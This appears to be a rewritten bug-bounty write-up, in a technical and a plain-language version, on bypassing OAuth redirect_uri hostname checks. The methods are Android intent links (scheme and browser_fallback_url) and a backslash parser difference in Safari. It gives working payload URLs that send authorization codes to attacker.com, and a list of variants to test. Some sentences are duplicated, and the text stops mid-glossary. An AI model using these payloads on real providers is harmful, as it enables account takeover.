Is Hostname Validation Enough? Exploring Unusual OAuth Attack Vectors
An OAuth provider validated only the hostname of the redirect_uri, so an attacker could supply an Android intent scheme or a backslash-containing URL that passes the hostname check but sends the authorization code to an attacker-controlled domain. This could lead to a one-click account takeover on the client application.
Published on blog.voorivex.team
One of the most common weaknesses in an OAuth provider's implementation comes down to two questions: who is asking for the token, and which URL and domain should that token be sent to? The provider has to validate that the legitimate client (the application that uses the provider for login) is the one that receives…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
OAuth providers have to answer two questions on every authorization request: who is asking for the token, and which URL and domain should that token be sent to? The provider must validate that the legitimate client, the application that uses the provider for login, is the one that receives the code or token. If it does not, an attacker can receive it instead, and that can end in a one-click account takeover (ATO) on the client application.
This write-up looks at one simple implementation of OAuth redirect URL validation and at two ways to get past it without the victim installing anything. The sample provider is an Express application that exposes a single /authorize endpoint. The full authorization flow and the username and password checks have been stripped out; the part that matters is where the provider parses redirect_uri and checks that its hostname matches the one registered for that client_id.
const express = require('express');
const crypto = require('crypto');
const app = express();
const CLIENT = {
client_id: 'pwnbox', redirect_uri: 'pwnbox.xyz'
};
app.get('/authorize', (req, res) => {
const { client_id, redirect_uri, state } = req.query;
if (
client_id !== CLIENT.client_id ||
new URL(redirect_uri).hostname !== CLIENT.redirect_uri
) {
return res.status(400).json({
error: 'invalid_client'
});
}
const code = crypto.randomBytes(16).toString('hex');
res.redirect(`${redirect_uri}?code=${code}&state=${state || ''}`);
});
app.listen(3000, () => {
console.log('OAuth provider on http://localhost:3000');
});
The registered client is pwnbox with redirect_uri set to pwnbox.xyz. The validation is a single comparison: new URL(redirect_uri).hostname must equal pwnbox.xyz. That check covers the hostname and nothing else. new URL() will parse any scheme you hand it, so everything except the host, meaning the scheme, path, query and fragment, is still ours to choose.
Setup
The scenario is the sample provider above, running locally on http://localhost:3000. The registered client is pwnbox, and the hostname check accepts pwnbox.xyz. The payloads use attacker.com as the destination for the stolen code.
The two methods below differ in what the victim needs on their device, and that difference is the point of the article.
Finding it
The weakness is visible in the validation line itself. The provider parses redirect_uri with new URL() and compares only .hostname. Nothing constrains the scheme, the path, the query or the fragment, and nothing checks that the redirect target is a web URL at all.
The obvious consequences are the ones that have been written up before: if the victim has the attacker's Android or iOS app installed, that app can register a custom URL scheme and receive the code instead of the real client, and a malicious PWA with its own scheme can do the same. Both of those vectors require the victim to have installed something the attacker controls, which is a precondition the attacker cannot guarantee, and that is often what gets such reports closed as N/A.
The question this write-up answers is: what if the victim has not installed the attacker's app or PWA? Does that leave nothing to report? Two paths show that it does not.
Exploitation
Method 1: The Android Intent Scheme
An Intent is an Android object that one app uses to tell another app what to open or do. Sometimes Android needs to convert an Intent into plain text, especially when the Intent has to be passed through a link instead of directly between apps. That text format is the intent scheme, and Chrome supports it on Android. A link written in this format can start a native app from a web page. Chrome's documentation gives this example:
<a href="intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end">Take a QR code</a>
Tapping that link on an Android phone opens the ZXing barcode scanner app. Chrome documents the format as follows:
intent:
HOST/URI-path // Optional host
#Intent;
package=[string];
action=[string];
category=[string];
component=[string];
scheme=[string];
end;
The format has two parts, separated by #Intent;:
- Before
#Intent;is the host and path. This becomes the data URL that the target app receives. - After
#Intent;is a list ofkey=valuepairs, each one ending with;. These set the fields of the Intent object. The list is closed byend.
The most interesting field is scheme. While Android parses the link it stores that field's value in a variable, and at the end it rebuilds the URL with this code:
if (data.startsWith("intent:")) {
data = data.substring(7);
if (scheme != null) {
data = scheme + ':' + data;
}
}
Android strips intent: off the front of the link, joins the scheme value back on with a :, and opens the result. Nothing checks what that value contains. So the hostname of the link can be overwritten through the scheme field. With scheme=https://attacker.com/ the transformation looks like this:
scheme= value : https://attacker.com/
after "intent:" : //pwnbox.xyz/cb?code=XYZ
after the join : https://attacker.com/ + : + //pwnbox.xyz/cb?code=XYZ
parsed again : host = attacker.com
path = /://pwnbox.xyz/cb
query = code=XYZ
The whitelisted host is still in the string, but it is part of the path now and has no effect on where the request goes. The authorization code arrives on a domain the attacker controls.
Step 1: Confirm the scheme passes the hostname check
The sample provider parses the URL and extracts the hostname, and in Node the scheme has no effect on how the hostname is parsed. Any scheme can be supplied, so the intent scheme passes the check without trouble.
Step 2: Work around the raw state echo
The end of the handler sends the user back to the client with the code:
res.redirect(`${redirect_uri}?code=${code}&state=${state || ''}`);
The code is appended first, and state is echoed back raw directly after it. That raw echo is the only limitation, because the #Intent; block has to sit after the code, and state is exactly that position. The exploit URL is:
http://localhost:3000/authorize?client_id=pwnbox&redirect_uri=intent://pwnbox.xyz&state=%23Intent;scheme=https://attacker.com/;end
Here redirect_uri is intent://pwnbox.xyz, whose hostname is pwnbox.xyz, so the check passes. The state parameter carries the #Intent; block, with %23 standing in for #, and sets scheme=https://attacker.com/. The provider appends the code and echoes state raw, so the full intent link reaches the browser with the code inside it. The scheme field decides where the browser goes, and the whitelisted host survives only as a path.
Step 3: Consider the encoded variant
A raw echo of state is a big limitation, and few providers do it. What if the redirect looked like this instead?
res.redirect(`${redirect_uri}?code=${code}&state=${encodeURIComponent(state || '')}`);
Going back to Android's intent handling shows that there are two different parsers. parseUri picks between them at the start, based on the fragment:
i = uri.lastIndexOf("#");
// simple case
if (i == -1) {
if (!androidApp) {
return new Intent(ACTION_VIEW, Uri.parse(uri));
}
// old format Intent URI
} else if (!uri.startsWith("#Intent;", i)) {
if (!androidApp) {
return getIntentOld(uri, flags);
} else {
i = -1;
}
}
Everything above is the new format, the one with #Intent;. If the fragment is anything else, Android passes the URL to getIntentOld() instead, which parses an older format with its own syntax:
intent://pwnbox.xyz/#extras(Sbrowser_fallback_url=https://attacker.com/)
This payload uses a field not seen yet, extras. An Intent has a small number of fixed fields. The action says what to do, such as view or share. The data URL says what to do it to. An extra is anything else the receiving app needs, stored as a named value alongside those fields. A share Intent carries the text being shared as an extra; an email Intent carries the subject and the recipient list as extras. Every extra has a name, a type and a value, and Android keeps them together in a Bundle.
Because extras are typed, the text format has to record the type. The old format writes it as a single letter placed directly before the name, with no separator between them:
| letter | type |
|---|---|
S |
String |
B |
boolean |
b |
byte |
c |
char |
d |
double |
f |
float |
i |
int |
l |
long |
s |
short |
So Sbrowser_fallback_url=https://attacker.com/ is a String extra named browser_fallback_url. The whole list lives inside extras(...), and multiple extras are separated by !.
browser_fallback_url is not an Android feature. Chrome defines it, reads it itself, and removes it before passing the Intent on, so no app ever sees it. It is a message from the web page to the browser: when no app can handle the intent, send the user to this URL instead. The data URL here stays intent://pwnbox.xyz/, which nothing on the device can handle, so the fallback always fires.
Step 4: Solve the encoding problem with the old format
Both formats need a delimiter to close the structure being injected, and encodeURIComponent treats the two delimiters differently. The new format closes every field with ;, which gets escaped to %3B. The old format closes its extras list with ), which passes through untouched:
encodeURIComponent("();") // '()%3B'
But the old format creates a new problem. In the first method only the scheme had to be replaced, and the rest of the URL came along with it, including the code. Here there is no scheme field. The fallback URL is a value that has to be written out in full, from start to end, and that value ends where the parenthesis closes. If the attacker closes it, the code is appended after it and never reaches the attacker.
Step 5: Sandwich the code between redirect_uri and state
The redirect line echoes back two values the attacker controls, redirect_uri and state, and the code sits between them:
res.redirect(`${redirect_uri}?code=${code}&state=${encodeURIComponent(state || '')}`);
So extras( is opened in redirect_uri and closed in state, and the code is caught in the middle:
http://localhost:3000/authorize?client_id=pwnbox&redirect_uri=intent://pwnbox.xyz/%23extras(Sbrowser_fallback_url=https://attacker.com/?c=&state=)
The provider appends the code, state closes the parenthesis, and everything in between ends up inside the fallback value:
Sbrowser_fallback_url = https://attacker.com/?c=?code=ABC123&state=
Chrome reads that extra, finds no app that can handle intent://pwnbox.xyz/, and navigates to the attacker's URL with the code attached.
The important result of this method is that the victim no longer needs the attacker's application installed. That one requirement is what gets reports like this closed as N/A, because a precondition the attacker cannot control is not a real attack path. Removing it can move the same finding from informative to high severity. The same Android behaviour can also lead to a lot of open redirect vulnerabilities, and it makes validating URLs very hard.
Method 2: Two Standards, One Character
This method needs no fragment and no custom scheme. It works because two URL standards disagree about a single character.
To find the hostname in a URL, a parser reads forward from :// until it reaches a character that ends the hostname. The two standards do not use the same list of ending characters:
- The WHATWG URL Standard, which browsers and Node follow, uses
/\?# - RFC 3986, the older URI standard, uses
/?#
RFC 3986 Section 3.2 says it directly:
The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI.
The backslash is in the first list and missing from the second. That is the whole bug. Here is what it does to one URL:
https://pwnbox.xyz\@attacker.com/cb
- Node stops at the
\. It readpwnbox.xyz, there is no@in it, so the host ispwnbox.xyz - An RFC 3986 parser does not stop at the
\. It keeps going to the/and readspwnbox.xyz\@attacker.com. That contains an@, so the username ispwnbox.xyz\and the host isattacker.com
Neither parser is wrong. The URL means two different things under two different standards.
Safari does not use a single URL parser, and which one you get depends on where the URL appears. A URL typed in the address bar, a link inside a page, or new URL() in JavaScript goes through WebKit's parser, which follows WHATWG and treats the backslash as an ending character, exactly as Node does.
The Location header on a 3xx redirect does not. Safari parses that one with an RFC 3986 implementation, which ends the hostname only at /, ? and #. The backslash is not one of them. That is the parser that matters here, because an OAuth callback is almost always a redirect. The one place Safari reaches for RFC 3986 is the exact place the authorization code travels through.
Step 1: Send the payload as redirect_uri
Against the sample provider the payload is simply the redirect URL:
http://localhost:3000/authorize?client_id=pwnbox&redirect_uri=https://pwnbox.xyz\@attacker.com/cb
Step 2: Follow what each component does with it
- Node reads the host as
pwnbox.xyz, so the check passes. - The provider appends the code and sends
Location: https://pwnbox.xyz\@attacker.com/cb?code=ABC123&state=. - Express does not escape the backslash, so it arrives raw.
- Safari reads the host as
attacker.com, and the code is delivered there.
Root cause
Both methods exploit the same design mistake: the provider validates one parsed component of the URL and then uses the original string for the redirect. The check and the use are not performed on the same interpretation of the input.
In Method 1, the hostname check is satisfied by intent://pwnbox.xyz, but the string that is later sent to the browser is an Android intent link whose scheme field rewrites the destination. In the encoded variant, the old intent format's extras field carries a browser_fallback_url that Chrome itself reads and follows, and the ) delimiter survives encodeURIComponent while the new format's ; does not. The provider never restricts the scheme, so a non-web scheme passes validation.
In Method 2, the provider validates with a WHATWG parser (Node's new URL()) and the victim's browser follows the redirect with an RFC 3986 parser (Safari's Location header handling). The two disagree on whether \ terminates the hostname, so the same string has host pwnbox.xyz for the validator and host attacker.com for the browser. Express passing the backslash through unescaped is what lets the disagreement reach the client.
In both cases the existing defence, a hostname equality check, did not stop the attack because it never constrained the scheme, the delimiters or the parser that would eventually interpret the string.
Impact
An attacker who can get a victim to follow a crafted authorization link can receive the authorization code on a domain they control, which can end in a one-click account takeover on the client application. The two methods remove the precondition that made earlier versions of this attack weak: the victim does not need the attacker's app or PWA installed.
Method 2 applies to victims using Safari, and depends on the provider validating with a WHATWG parser while the browser follows the redirect with an RFC 3986 one.
Fix
The write-up's recommendation to developers is to use strict and restricted regex checks as much as possible, rather than parsing the URL and comparing a single component. The write-up's recommendation to developers is to use strict and restricted regex checks as much as possible.
Variants to test
- Intent scheme with a raw
stateecho. Sendredirect_uri=intent://<whitelisted-host>and put%23Intent;scheme=https://attacker.example/;endinstate. A positive result is the provider redirecting to an intent link whose scheme field points at your domain, with the code inside it. - Intent old format with an encoded
state. Openextras(inredirect_uriasintent://<whitelisted-host>/%23extras(Sbrowser_fallback_url=https://attacker.example/?c=and close it with)instate. A positive result is abrowser_fallback_urlextra whose value contains the authorization code. - Backslash parser differential. Send
redirect_uri=https://<whitelisted-host>\@attacker.example/cband inspect theLocationheader. A positive result is a 3xx whoseLocationkeeps the backslash raw, so an RFC 3986 parser reads the host asattacker.example. A positive result is acceptance of a non-http(s) scheme whose handler you control. A positive result is a hostname check that passes while the deliveredLocationresolves to your domain.
If you are a bug bounty hunter, these are two more vectors to test everywhere. Happy hunting!
What happened, in plain words
Many websites let you sign in with an account you already have somewhere else, for example "Sign in with Google". The site that checks your password is called the OAuth provider. The site you are signing in to is called the client. When you sign in, the provider does not hand your password to the client. Instead it hands over a short-lived secret called an authorization code, which the client swaps for a token that proves who you are.
The provider has to answer two questions every time: who is asking for the code, and where should the code be sent? The second question is the dangerous one. The client tells the provider a redirect URL, meaning "when you are done, send the user back to me at this address". If the provider does not check that address carefully, an attacker can say "send it to me instead" and receive the code. With the code, the attacker can log in as the victim. That is called a one-click account takeover, or ATO: the victim clicks one link and the attacker is inside their account.
This article looks at one very simple way a provider checks the redirect URL, and at two tricks that get past it. The interesting part is that neither trick needs the victim to install anything. Earlier versions of this attack needed the victim to have the attacker's app on their phone, which is a condition the attacker cannot control, and that is often why such reports get closed as "not applicable". These two tricks remove that condition.
The sample provider
The article uses a small program written in JavaScript with a framework called Express. Express is a tool for building web servers: you tell it "when someone visits this address, run this function", and it handles the rest. The program below is a pretend OAuth provider. It has had the complicated parts removed on purpose, meaning the full login flow and the username and password checks. What is left is the part that matters: how it reads the redirect URL and decides whether to trust it.
const express = require('express');
const crypto = require('crypto');
const app = express();
const CLIENT = {
client_id: 'pwnbox', redirect_uri: 'pwnbox.xyz'
};
app.get('/authorize', (req, res) => {
const { client_id, redirect_uri, state } = req.query;
if (
client_id !== CLIENT.client_id ||
new URL(redirect_uri).hostname !== CLIENT.redirect_uri
) {
return res.status(400).json({
error: 'invalid_client'
});
}
const code = crypto.randomBytes(16).toString('hex');
res.redirect(`${redirect_uri}?code=${code}&state=${state || ''}`);
});
app.listen(3000, () => {
console.log('OAuth provider on http://localhost:3000');
});
Line by line, in plain words:
const express = require('express');loads the Express library, the tool that runs the web server.const crypto = require('crypto');loads Node's built-in random number generator. It will be used to make the authorization code.const app = express();creates the server object.const CLIENT = { client_id: 'pwnbox', redirect_uri: 'pwnbox.xyz' };is the list of registered clients. There is exactly one: a client calledpwnbox, and the only address it is allowed to be sent back to ispwnbox.xyz. Think ofclient_idas a username for the application, andredirect_urias the address on file for it.app.get('/authorize', (req, res) => {says: when someone opens the address/authorizein a browser, run the function that follows.reqholds what the visitor sent,resis how the server replies.const { client_id, redirect_uri, state } = req.query;pulls three values out of the query string, the part of a URL after the?.client_idsays which application is asking,redirect_urisays where to send the user afterwards, andstateis a value the client can use to keep track of the request.- The
ifblock is the whole security check. It rejects the request with a 400 error and the messageinvalid_clientif either of two things is true: theclient_idis notpwnbox, or the hostname ofredirect_uriis notpwnbox.xyz. new URL(redirect_uri).hostnameis the key line.new URL()is a built-in JavaScript function that takes a URL string and breaks it into pieces: scheme, hostname, path, query, fragment..hostnamepicks out just the hostname, the part likeexample.com.const code = crypto.randomBytes(16).toString('hex');makes the authorization code: 16 random bytes turned into a 32-character hexadecimal string.res.redirect(...)sends the browser back to the client. It builds the address by gluing together theredirect_urithe visitor supplied, then?code=, then the code, then&state=, then thestatevalue.app.listen(3000, ...)starts the server on port 3000, so it is reachable athttp://localhost:3000.
The registered client is pwnbox and its registered address is pwnbox.xyz. The check is a single comparison: the hostname of whatever redirect_uri the visitor sent must equal pwnbox.xyz. That is all it checks. new URL() will happily parse any scheme you give it, so everything except the hostname, meaning the scheme, the path, the query and the fragment, is still under the attacker's control.
The setup
The scenario is the sample provider running locally at http://localhost:3000. The registered client is pwnbox, and the hostname check accepts pwnbox.xyz. The payloads use attacker.com as the place the stolen code is sent.
The two methods below differ in what the victim needs on their device, and that difference is the whole point.
Finding the weakness
The weakness is visible in the validation line itself. The provider parses redirect_uri with new URL() and compares only .hostname. Nothing constrains the scheme, the path, the query or the fragment, and nothing checks that the redirect target is a web address at all.
The obvious consequences are the ones people have written about before. If the victim has the attacker's Android or iOS app installed, that app can register a custom URL scheme and receive the code instead of the real client. A malicious PWA (a Progressive Web App, a website that can be installed on a phone and behave a bit like an app) with its own scheme can do the same. Both of those need the victim to have installed something the attacker controls. That is a precondition the attacker cannot guarantee, and it is often what gets such reports closed as N/A, meaning "not applicable, not a real attack".
The question this article answers is: what if the victim has not installed the attacker's app or PWA? Does that leave nothing to report? Two paths show that it does not.
Method 1: The Android Intent Scheme
What an Intent is
An Intent is an Android object that one app uses to tell another app what to open or do. Think of it as a note passed between apps: "please show this web page", "please share this text", "please open the camera". Sometimes Android needs to turn an Intent into plain text, especially when the Intent has to travel through a link instead of being passed directly between apps. That text format is called the intent scheme, and Chrome supports it on Android. A link written in this format can start a native app from a web page. Chrome's documentation gives this example:
<a href="intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end">Take a QR code</a>
This is a normal HTML link. The href is the address the link points to. Here the address starts with intent:// instead of http://, which tells Chrome "this is not a web page, this is an instruction for an app". Tapping that link on an Android phone opens the ZXing barcode scanner app.
Chrome documents the format like this:
intent:
HOST/URI-path // Optional host
#Intent;
package=[string];
action=[string];
category=[string];
component=[string];
scheme=[string];
end;
This is a template, not a real link. It shows the shape of an intent link. The format has two parts, separated by #Intent;:
- Before
#Intent;is the host and path. This becomes the data URL that the target app receives, meaning the address the app is being asked to act on. - After
#Intent;is a list ofkey=valuepairs, each one ending with;. These set the fields of the Intent object. The list is closed byend.
The most interesting field is scheme. While Android parses the link it stores that field's value in a variable, and at the end it rebuilds the URL with this code:
if (data.startsWith("intent:")) {
data = data.substring(7);
if (scheme != null) {
data = scheme + ':' + data;
}
}
Line by line:
if (data.startsWith("intent:"))checks whether the link begins with the wordintent:. If it does not, this code does nothing.data = data.substring(7);removes the first seven characters, which are exactlyintent:. What is left is the rest of the link, for example//pwnbox.xyz/cb?code=XYZ.if (scheme != null)checks whether aschemefield was supplied in the#Intent;block.data = scheme + ':' + data;glues the scheme value, a colon, and the rest of the link back together.
Android strips intent: off the front of the link, joins the scheme value back on with a :, and opens the result. Nothing checks what that value contains. So the hostname of the link can be overwritten through the scheme field. With scheme=https://attacker.com/ the transformation looks like this:
scheme= value : https://attacker.com/
after "intent:" : //pwnbox.xyz/cb?code=XYZ
after the join : https://attacker.com/ + : + //pwnbox.xyz/cb?code=XYZ
parsed again : host = attacker.com
path = /://pwnbox.xyz/cb
query = code=XYZ
Read it top to bottom. The scheme value is https://attacker.com/. After removing intent:, the rest of the link is //pwnbox.xyz/cb?code=XYZ. Joining them with a colon gives https://attacker.com/:://pwnbox.xyz/cb?code=XYZ. When the browser parses that final string, the host is attacker.com, the path is /://pwnbox.xyz/cb, and the query is code=XYZ.
The whitelisted host is still in the string, but it is part of the path now and has no effect on where the request goes. The authorization code arrives on a domain the attacker controls.
Step 1: Confirm the scheme passes the hostname check
The sample provider parses the URL and extracts the hostname, and in Node the scheme has no effect on how the hostname is parsed. Any scheme can be supplied, so the intent scheme passes the check without trouble. In other words, the provider only looks at the hostname, and the hostname of intent://pwnbox.xyz is pwnbox.xyz, so the check is happy.
Step 2: Work around the raw state echo
The end of the handler sends the user back to the client with the code:
res.redirect(`${redirect_uri}?code=${code}&state=${state || ''}`);
This line builds the redirect address. It takes redirect_uri, adds ?code=, adds the code, adds &state=, and adds the state value. The || '' means "if state is empty, use an empty string instead".
The code is appended first, and state is echoed back raw directly after it. "Raw" means no encoding: whatever characters the visitor put in state come out exactly as they went in. That raw echo is the only limitation, because the #Intent; block has to sit after the code, and state is exactly that position. The exploit URL is:
http://localhost:3000/authorize?client_id=pwnbox&redirect_uri=intent://pwnbox.xyz&state=%23Intent;scheme=https://attacker.com/;end
Breaking it down:
client_id=pwnboxpasses the first check.redirect_uri=intent://pwnbox.xyzhas hostnamepwnbox.xyz, so the second check passes too.state=%23Intent;scheme=https://attacker.com/;endis the#Intent;block.%23is the URL-encoded form of#, because a literal#in a URL would start the fragment and cut the rest off. The server decodes%23back to#when it reads the query string.- The provider appends the code and echoes
stateraw, so the full intent link reaches the browser with the code inside it. - The scheme field decides where the browser goes, and the whitelisted host survives only as a path.
Step 3: Consider the encoded variant
A raw echo of state is a big limitation, and few providers do it. What if the redirect looked like this instead?
res.redirect(`${redirect_uri}?code=${code}&state=${encodeURIComponent(state || '')}`);
encodeURIComponent is a JavaScript function that makes a string safe to put inside a URL. It replaces characters that have special meaning in URLs with % codes. For example, a space becomes %20, a semicolon becomes %3B, and a # becomes %23. If the provider does this, the attacker can no longer slip a raw #Intent; block through state.
Going back to Android's intent handling shows that there are two different parsers. A parser is a piece of code that reads a string and works out its structure. parseUri picks between the two at the start, based on the fragment. The fragment is the part of a URL after #.
i = uri.lastIndexOf("#");
// simple case
if (i == -1) {
if (!androidApp) {
return new Intent(ACTION_VIEW, Uri.parse(uri));
}
// old format Intent URI
} else if (!uri.startsWith("#Intent;", i)) {
if (!androidApp) {
return getIntentOld(uri, flags);
} else {
i = -1;
}
}
Line by line:
i = uri.lastIndexOf("#");finds the position of the last#in the link. If there is no#,iis-1.if (i == -1)handles the case with no fragment at all. It returns a simple Intent that just opens the link as a normal address.} else if (!uri.startsWith("#Intent;", i)) {handles the case where there is a fragment but it does not start with#Intent;at that position. In that case it callsgetIntentOld(uri, flags), the older parser.- If the fragment does start with
#Intent;, neither branch fires here, and the new-format parser takes over.
Everything above is the new format, the one with #Intent;. If the fragment is anything else, Android passes the URL to getIntentOld() instead, which parses an older format with its own syntax:
intent://pwnbox.xyz/#extras(Sbrowser_fallback_url=https://attacker.com/)
This payload uses a field not seen yet, extras. An Intent has a small number of fixed fields. The action says what to do, such as view or share. The data URL says what to do it to. An extra is anything else the receiving app needs, stored as a named value alongside those fields. A share Intent carries the text being shared as an extra; an email Intent carries the subject and the recipient list as extras. Every extra has a name, a type and a value, and Android keeps them together in a Bundle, which is just a bag of named values.
Because extras are typed, the text format has to record the type. The old format writes it as a single letter placed directly before the name, with no separator between them:
| letter | type |
|---|---|
S |
String |
B |
boolean |
b |
byte |
c |
char |
d |
double |
f |
float |
i |
int |
l |
long |
s |
short |
So Sbrowser_fallback_url=https://attacker.com/ is a String extra named browser_fallback_url. The S says "this is a String", and the rest is the name and value. The whole list lives inside extras(...), and multiple extras are separated by !.
browser_fallback_url is not an Android feature. Chrome defines it, reads it itself, and removes it before passing the Intent on, so no app ever sees it. It is a message from the web page to the browser: when no app can handle the intent, send the user to this URL instead. The data URL here stays intent://pwnbox.xyz/, which nothing on the device can handle, so the fallback always fires.
Step 4: Solve the encoding problem with the old format
Both formats need a delimiter to close the structure being injected. A delimiter is a character that marks where one thing ends and the next begins, like the full stop at the end of a sentence. encodeURIComponent treats the two delimiters differently. The new format closes every field with ;, which gets escaped to %3B. The old format closes its extras list with ), which passes through untouched:
encodeURIComponent("();") // '()%3B'
This line shows the difference in one go. The input is ();. The output is ()%3B. The two parentheses come out unchanged, but the semicolon becomes %3B. So if the provider encodes state, a ) still works as a closing delimiter, while a ; does not.
But the old format creates a new problem. In the first method only the scheme had to be replaced, and the rest of the URL came along with it, including the code. Here there is no scheme field. The fallback URL is a value that has to be written out in full, from start to end, and that value ends where the parenthesis closes. If the attacker closes it, the code is appended after it and never reaches the attacker.
Step 5: Sandwich the code between redirect_uri and state
The redirect line echoes back two values the attacker controls, redirect_uri and state, and the code sits between them:
res.redirect(`${redirect_uri}?code=${code}&state=${encodeURIComponent(state || '')}`);
So extras( is opened in redirect_uri and closed in state, and the code is caught in the middle:
http://localhost:3000/authorize?client_id=pwnbox&redirect_uri=intent://pwnbox.xyz/%23extras(Sbrowser_fallback_url=https://attacker.com/?c=&state=)
Breaking it down:
client_id=pwnboxpasses the first check.redirect_uri=intent://pwnbox.xyz/%23extras(Sbrowser_fallback_url=https://attacker.com/?c=has hostnamepwnbox.xyz, so the second check passes. The%23becomes#when the server reads it, which makes the fragment start withextras(, so Android uses the old parser. Theextras(is left open on purpose.state=)is the closing parenthesis. Because)survivesencodeURIComponent, it arrives as a real).- The provider appends the code,
statecloses the parenthesis, and everything in between ends up inside the fallback value:
Sbrowser_fallback_url = https://attacker.com/?c=?code=ABC123&state=
Chrome reads that extra, finds no app that can handle intent://pwnbox.xyz/, and navigates to the attacker's URL with the code attached.
The important result of this method is that the victim no longer needs the attacker's application installed. That one requirement is what gets reports like this closed as N/A, because a precondition the attacker cannot control is not a real attack path. Removing it can move the same finding from informative to high severity. The same Android behaviour can also lead to a lot of open redirect vulnerabilities, and it makes validating URLs very hard. An open redirect is when a site will send you to any address you name, which is useful for phishing because the link starts on a trusted site.
Method 2: Two Standards, One Character
This method needs no fragment and no custom scheme. It works because two URL standards disagree about a single character.
A standard here means a written rulebook for how to read a URL. There are two in play. The WHATWG URL Standard is the modern one that browsers and Node follow. RFC 3986 is the older URI standard, a document that describes how a URI is put together.
To find the hostname in a URL, a parser reads forward from :// until it reaches a character that ends the hostname. The two standards do not use the same list of ending characters:
- The WHATWG URL Standard, which browsers and Node follow, uses
/\?# - RFC 3986, the older URI standard, uses
/?#
RFC 3986 Section 3.2 says it directly:
The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI.
The authority component is the part of the URL that holds the hostname, and sometimes a username and port. The quote says it ends at /, ? or #. The backslash is in the first list and missing from the second. That is the whole bug. Here is what it does to one URL:
https://pwnbox.xyz\@attacker.com/cb
- Node stops at the
\. It readpwnbox.xyz, there is no@in it, so the host ispwnbox.xyz - An RFC 3986 parser does not stop at the
\. It keeps going to the/and readspwnbox.xyz\@attacker.com. That contains an@, so the username ispwnbox.xyz\and the host isattacker.com
The @ matters because in a URL, everything before an @ in the authority is the username, and everything after it is the host. So https://[redacted]/ means "log in to example.com as alice". A parser that sees pwnbox.xyz\@attacker.com reads the username as pwnbox.xyz\ and the host as attacker.com.
Neither parser is wrong. The URL means two different things under two different standards.
Safari does not use a single URL parser, and which one you get depends on where the URL appears. A URL typed in the address bar, a link inside a page, or new URL() in JavaScript goes through WebKit's parser, which follows WHATWG and treats the backslash as an ending character, exactly as Node does. WebKit is the engine inside Safari that renders pages and reads URLs.
The Location header on a 3xx redirect does not. A header is a small piece of information a server sends along with a response, like a label on a parcel. Location is the header that says "the thing you asked for is over there, go to this address". A 3xx response is a redirect response: instead of content, it tells the browser to go somewhere else. Safari parses that Location value with an RFC 3986 implementation, which ends the hostname only at /, ? and #. The backslash is not one of them. That is the parser that matters here, because an OAuth callback is almost always a redirect. The one place Safari reaches for RFC 3986 is the exact place the authorization code travels through.
Step 1: Send the payload as redirect_uri
Against the sample provider the payload is simply the redirect URL:
http://localhost:3000/authorize?client_id=pwnbox&redirect_uri=https://pwnbox.xyz\@attacker.com/cb
Here client_id=pwnbox passes the first check, and redirect_uri=https://pwnbox.xyz\@attacker.com/cb is the interesting part. The backslash sits between the whitelisted host and an @attacker.com. To Node, the host is pwnbox.xyz and the check passes. To Safari reading the Location header, the host is attacker.com.
Step 2: Follow what each component does with it
- Node reads the host as
pwnbox.xyz, so the check passes. - The provider appends the code and sends
Location: https://pwnbox.xyz\@attacker.com/cb?code=ABC123&state=. - Express does not escape the backslash, so it arrives raw.
- Safari reads the host as
attacker.com, and the code is delivered there.
Root cause
Both methods exploit the same design mistake: the provider validates one parsed component of the URL and then uses the original string for the redirect. The check and the use are not performed on the same interpretation of the input. Think of a bouncer who checks your name on a list, then lets in whoever is standing behind you.
In Method 1, the hostname check is satisfied by intent://pwnbox.xyz, but the string that is later sent to the browser is an Android intent link whose scheme field rewrites the destination. In the encoded variant, the old intent format's extras field carries a browser_fallback_url that Chrome itself reads and follows, and the ) delimiter survives encodeURIComponent while the new format's ; does not. The provider never restricts the scheme, so a non-web scheme passes validation.
In Method 2, the provider validates with a WHATWG parser (Node's new URL()) and the victim's browser follows the redirect with an RFC 3986 parser (Safari's Location header handling). The two disagree on whether \ terminates the hostname, so the same string has host pwnbox.xyz for the validator and host attacker.com for the browser. Express passing the backslash through unescaped is what lets the disagreement reach the client.
In both cases the existing defence, a hostname equality check, did not stop the attack because it never constrained the scheme, the delimiters or the parser that would eventually interpret the string.
Impact
An attacker who can get a victim to follow a crafted authorization link can receive the authorization code on a domain they control, which can end in a one-click account takeover on the client application. The two methods remove the precondition that made earlier versions of this attack weak: the victim does not need the attacker's app or PWA installed.
Method 2 applies to victims using Safari, and depends on the provider validating with a WHATWG parser while the browser follows the redirect with an RFC 3986 one.
Fix
The recommendation to developers is to use strict and restricted regex checks as much as possible, rather than parsing the URL and comparing a single component. A regex (regular expression) is a pattern for matching text, for example "only letters, digits, dots and hyphens, ending in .com". The recommendation to developers is to use strict and restricted regex checks as much as possible.
Variants to test
- Intent scheme with a raw
stateecho. Sendredirect_uri=intent://<whitelisted-host>and put%23Intent;scheme=https://attacker.example/;endinstate. A positive result is the provider redirecting to an intent link whose scheme field points at your domain, with the code inside it. - Intent old format with an encoded
state. Openextras(inredirect_uriasintent://<whitelisted-host>/%23extras(Sbrowser_fallback_url=https://attacker.example/?c=and close it with)instate. A positive result is abrowser_fallback_urlextra whose value contains the authorization code. - Backslash parser differential. Send
redirect_uri=https://<whitelisted-host>\@attacker.example/cband inspect theLocationheader. A positive result is a 3xx whoseLocationkeeps the backslash raw, so an RFC 3986 parser reads the host asattacker.example. A positive result is acceptance of a non-http(s) scheme whose handler you control. A positive result is a hostname check that passes while the deliveredLocationresolves to your domain.
If you are a bug bounty hunter, these are two more vectors to test everywhere. Happy hunting!
Glossary
- OAuth: a way for one website to let you sign in using an account you already have on another website, without sharing your password.
- OAuth provider: the website that holds your account and checks your password, for example Google.
- Client: the application that uses the provider for login, meaning the site you are signing in to.
- Authorization code: a short-lived secret the provider hands to the client, which the client swaps for a token that proves who you are.
- Token: a piece of data that proves you are allowed to do something, like a temporary key.
- Redirect URL: the address the provider sends the user back to after login.
- Account takeover (ATO): when an attacker gets into someone else's account.
- One-click account takeover: an account takeover that needs the victim to click a single link.
- JavaScript: the programming language that runs in web browsers and also on servers through Node.
- Node: a program that runs JavaScript outside the browser, often to build servers.
- Express: a JavaScript library for building web servers.
- Endpoint: a specific address on a server that does a specific job, such as
